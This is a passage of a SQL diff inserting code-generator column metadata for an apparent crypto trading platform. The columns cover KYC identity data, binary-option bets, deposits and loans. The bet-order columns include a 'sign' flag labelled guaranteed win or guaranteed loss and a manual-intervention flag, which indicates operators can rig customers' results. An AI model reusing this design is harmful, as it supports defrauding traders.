NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (94, '8', 'user_id', '', 'int', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (95, '8', 'user_tard_pwd', '用户交易密码', 'varchar(20)', 'String', 'userTardPwd', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (96, '8', 'create_by', '', 'varchar(20)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (97, '8', 'create_time', '', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (98, '8', 'update_by', '', 'varchar(20)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (99, '8', 'update_time', '', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 14, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (100, '8', 'remark', '', 'varchar(1024)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 15, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (101, '8', 'search_value', '', 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 16, 'admin', '2023-07-04 16:36:46', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (102, '8', 'real_name', '真实姓名', 'varchar(20)', 'String', 'realName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 3, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (103, '8', 'id_card', '身份证号码', 'varchar(255)', 'String', 'idCard', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (104, '8', 'front_url', '身份证正面照片', 'varchar(255)', 'String', 'frontUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (105, '8', 'country', '国际', 'varchar(50)', 'String', 'country', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (106, '8', 'card_type', '', 'varchar(255)', 'String', 'cardType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 7, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (107, '8', 'handel_url', '手持身份证照片', 'varchar(255)', 'String', 'handelUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (108, '8', 'back_url', '身份证反面照片', 'varchar(255)', 'String', 'backUrl', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 9, '', '2023-07-07 13:06:56', '', '2023-07-26 15:46:43'); +INSERT INTO `gen_table_column` VALUES (109, '9', 'id', 'id', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (110, '9', 'symbol', '合约交易对', 'varchar(255)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (111, '9', 'status', '是否启用 2关闭 1启用', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 3, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (112, '9', 'show_flag', '是否展示 2不展示 1展示', 'int', 'Long', 'showFlag', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (113, '9', 'coin', '币种', 'varchar(255)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (114, '9', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (115, '9', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 7, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (116, '9', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 8, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (117, '9', 'update_by', '更新人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 9, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (118, '9', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 10, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (119, '9', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 11, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (120, '9', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-11 10:07:30', '', NULL); +INSERT INTO `gen_table_column` VALUES (121, '10', 'id', 'id', 'bigint', 'Long', 'id', '1', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (122, '10', 'second_id', '秒合约币种配置id', 'bigint', 'Long', 'secondId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (123, '10', 'period', '时间周期 单位秒', 'int', 'Long', 'period', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (124, '10', 'max_amount', '最大金额', 'decimal(18,4)', 'BigDecimal', 'maxAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (125, '10', 'min_amount', '最小金额', 'decimal(18,4)', 'BigDecimal', 'minAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (126, '10', 'status', '1开启 2关闭', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 7, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (127, '10', 'create_by', '创建人', 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 8, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (128, '10', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (129, '10', 'update_by', '更新人', 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 10, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (130, '10', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 11, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (131, '10', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 12, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (132, '10', 'search_value', '', 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 13, 'admin', '2023-07-11 10:07:30', '', '2023-07-12 18:30:12'); +INSERT INTO `gen_table_column` VALUES (133, '11', 'id', '主键id', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (134, '11', 'symbol', '币种', 'varchar(50)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (135, '11', 'min_charge_num', '最小兑换数量', 'decimal(10,0)', 'Long', 'minChargeNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (136, '11', 'max_charge_num', '最大兑换数量', 'decimal(10,0)', 'Long', 'maxChargeNum', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (137, '11', 'commission', '手续费(%)', 'decimal(10,0)', 'Long', 'commission', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (138, '11', 'sort', '排序', 'int', 'Long', 'sort', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (139, '11', 'enable', '1 启用 2 禁用', 'char(1)', 'String', 'enable', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (140, '11', 'remark', '备注', 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 8, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (141, '11', 'create_by', '创建人', 'varchar(100)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 9, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (142, '11', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 10, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (143, '11', 'update_by', '修改人', 'varchar(100)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 11, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (144, '11', 'update_time', '修改时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 12, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (145, '11', 'del_flag', '0正常 2删除', 'char(1)', 'String', 'delFlag', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 13, 'admin', '2023-07-12 10:53:02', '', '2023-07-12 10:53:48'); +INSERT INTO `gen_table_column` VALUES (146, '12', 'id', '卡ID', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (147, '12', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 2, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (148, '12', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 3, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (149, '12', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 4, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (150, '12', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 5, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (151, '12', 'remark', NULL, 'varchar(500)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 6, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (152, '12', 'user_id', '所有者ID', 'bigint', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 7, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (153, '12', 'username', '用户名', 'varchar(500)', 'String', 'username', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'textarea', '', 8, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (154, '12', 'amount', '充值金额', 'decimal(30,6)', 'BigDecimal', 'amount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 9, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (155, '12', 'bonus', NULL, 'int', 'Long', 'bonus', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (156, '12', 'status', '状态', 'tinyint', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 11, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (157, '12', 'serial_id', '订单号', 'varchar(1024)', 'String', 'serialId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'textarea', '', 12, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (158, '12', 'tx_id', '第三方支付订单号', 'varchar(128)', 'String', 'txId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 13, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (159, '12', 'type', '类型', 'varchar(255)', 'String', 'type', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 14, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (160, '12', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 15, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (161, '12', 'address', '充值地址', 'varchar(64)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (162, '12', 'tree', NULL, 'varchar(1024)', 'String', 'tree', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 17, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (163, '12', 'coin', '币总', 'varchar(64)', 'String', 'coin', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (164, '12', 'to_address', '入款地址', 'varchar(64)', 'String', 'toAddress', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (165, '12', 'block_time', '区块时间', 'datetime', 'Date', 'blockTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'datetime', '', 20, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (166, '12', 'host', NULL, 'varchar(64)', 'String', 'host', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (167, '12', 'real_amount', '实际到账金额', 'decimal(18,6)', 'BigDecimal', 'realAmount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (168, '12', 'file_name', '充值凭证', 'varchar(255)', 'String', 'fileName', '0', '0', NULL, '1', '1', '1', '1', 'LIKE', 'input', '', 23, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (169, '12', 'recharge_remark', NULL, 'varchar(255)', 'String', 'rechargeRemark', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 24, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (170, '12', 'notice_flag', '通知字段 0未通知 1通知了', 'int', 'Long', 'noticeFlag', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 25, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (171, '12', 'app_parent_ids', 'app代理ids', 'varchar(1024)', 'String', 'appParentIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 26, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (172, '12', 'admin_parent_ids', '后台代理ids', 'varchar(1024)', 'String', 'adminParentIds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 27, 'admin', '2023-07-12 14:47:27', '', NULL); +INSERT INTO `gen_table_column` VALUES (173, '13', 'id', '主键id', 'int', 'Long', 'id', '1', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07'); +INSERT INTO `gen_table_column` VALUES (174, '13', 'user_id', '用户id', 'int', 'Long', 'userId', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07'); +INSERT INTO `gen_table_column` VALUES (175, '13', 'symbol', '币种', 'varchar(50)', 'String', 'symbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:07'); +INSERT INTO `gen_table_column` VALUES (176, '13', 'address', '充值地址', 'varchar(100)', 'String', 'address', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, 'admin', '2023-07-12 15:27:02', '', '2023-07-12 15:28:08'); +INSERT INTO `gen_table_column` VALUES (177, '10', 'odds', '赔率', 'decimal(18,4)', 'BigDecimal', 'odds', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 4, '', '2023-07-12 18:30:12', '', NULL); +INSERT INTO `gen_table_column` VALUES (178, '14', 'id', NULL, 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (179, '14', 'order_no', '订单号', 'varchar(255)', 'String', 'orderNo', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (180, '14', 'symbol', '交易对', 'varchar(255)', 'String', 'symbol', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 3, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (181, '14', 'type', '类型', 'varchar(255)', 'String', 'type', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'select', '', 4, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (182, '14', 'user_id', '用户id', 'int', 'Long', 'userId', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 5, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (183, '14', 'user_address', '用户地址', 'varchar(255)', 'String', 'userAddress', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 6, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (184, '14', 'bet_content', '预测方向:0 涨 1跌', 'varchar(255)', 'String', 'betContent', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'editor', '', 7, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (185, '14', 'open_result', '开奖结果', 'varchar(255)', 'String', 'openResult', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 8, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (186, '14', 'status', '订单状态 0参与中 1已开奖 2已撤销', 'int', 'Long', 'status', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'radio', '', 9, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (187, '14', 'bet_amount', '投注金额', 'decimal(16,4)', 'BigDecimal', 'betAmount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 10, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (188, '14', 'reward_amount', '获奖金额', 'decimal(16,4)', 'BigDecimal', 'rewardAmount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 11, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (189, '14', 'compensation_amount', '赔偿金额', 'decimal(16,4)', 'BigDecimal', 'compensationAmount', '0', '0', '1', '1', '1', '1', '1', 'EQ', 'input', '', 12, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (190, '14', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 13, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (191, '14', 'open_price', '开盘价格', 'decimal(20,12)', 'BigDecimal', 'openPrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 14, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (192, '14', 'close_price', '关盘价格', 'decimal(20,12)', 'BigDecimal', 'closePrice', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 15, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (193, '14', 'open_time', '开盘时间', 'bigint', 'Long', 'openTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 16, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (194, '14', 'close_time', '关盘时间', 'bigint', 'Long', 'closeTime', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 17, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (195, '14', 'coin_symbol', '交易币符号', 'varchar(255)', 'String', 'coinSymbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 18, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (196, '14', 'base_symbol', '结算币符号', 'varchar(255)', 'String', 'baseSymbol', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 19, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (197, '14', 'sign', '订单标记 0正常 1包赢 2包输', 'int', 'Long', 'sign', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 20, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (198, '14', 'manual_intervention', '是否人工干预 0是 1否', 'int', 'Long', 'manualIntervention', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 21, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (199, '14', 'rate', NULL, 'decimal(16,6)', 'BigDecimal', 'rate', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 22, 'admin', '2023-07-13 11:24:11', '', '2023-07-13 11:32:00'); +INSERT INTO `gen_table_column` VALUES (200, '15', 'id', '主键', 'bigint', 'Long', 'id', '1', '1', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 1, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (201, '15', 'amount', '贷款额度', 'decimal(18,2)', 'BigDecimal', 'amount', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'input', '', 2, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (202, '15', 'cycle_type', '周期类型 0-7天 1-14天 2-30天 ,,,,待补充', 'int', 'Long', 'cycleType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 3, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (203, '15', 'repay_type', '还款类型 0-到期一次换本息...待补充', 'int', 'Long', 'repayType', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'select', '', 4, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (204, '15', 'status', '状态 0 未开启 1已开启', 'int', 'Long', 'status', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'radio', '', 5, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:03'); +INSERT INTO `gen_table_column` VALUES (205, '15', 'create_by', NULL, 'varchar(64)', 'String', 'createBy', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'input', '', 6, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (206, '15', 'create_time', '创建时间', 'datetime', 'Date', 'createTime', '0', '0', NULL, '1', NULL, NULL, NULL, 'EQ', 'datetime', '', 7, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (207, '15', 'update_by', NULL, 'varchar(64)', 'String', 'updateBy', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'input', '', 8, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (208, '15', 'update_time', '更新时间', 'datetime', 'Date', 'updateTime', '0', '0', NULL, '1', '1', NULL, NULL, 'EQ', 'datetime', '', 9, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (209, '15', 'remark', '用户备注', 'varchar(1024)', 'String', 'remark', '0', '0', NULL, '1', '1', '1', NULL, 'EQ', 'textarea', '', 10, 'admin', '2023-07-13 15:52:39', '', '2023-07-14 11:19:06'); +INSERT INTO `gen_table_column` VALUES (210, '15', 'search_value', NULL, 'varchar(1024)', 'String', 'searchValue', '0', '0', NULL, '1', '1', '1', '1', 'EQ', 'textarea', '', 11, 'admin', '2023-07-13 15:52:39', '', 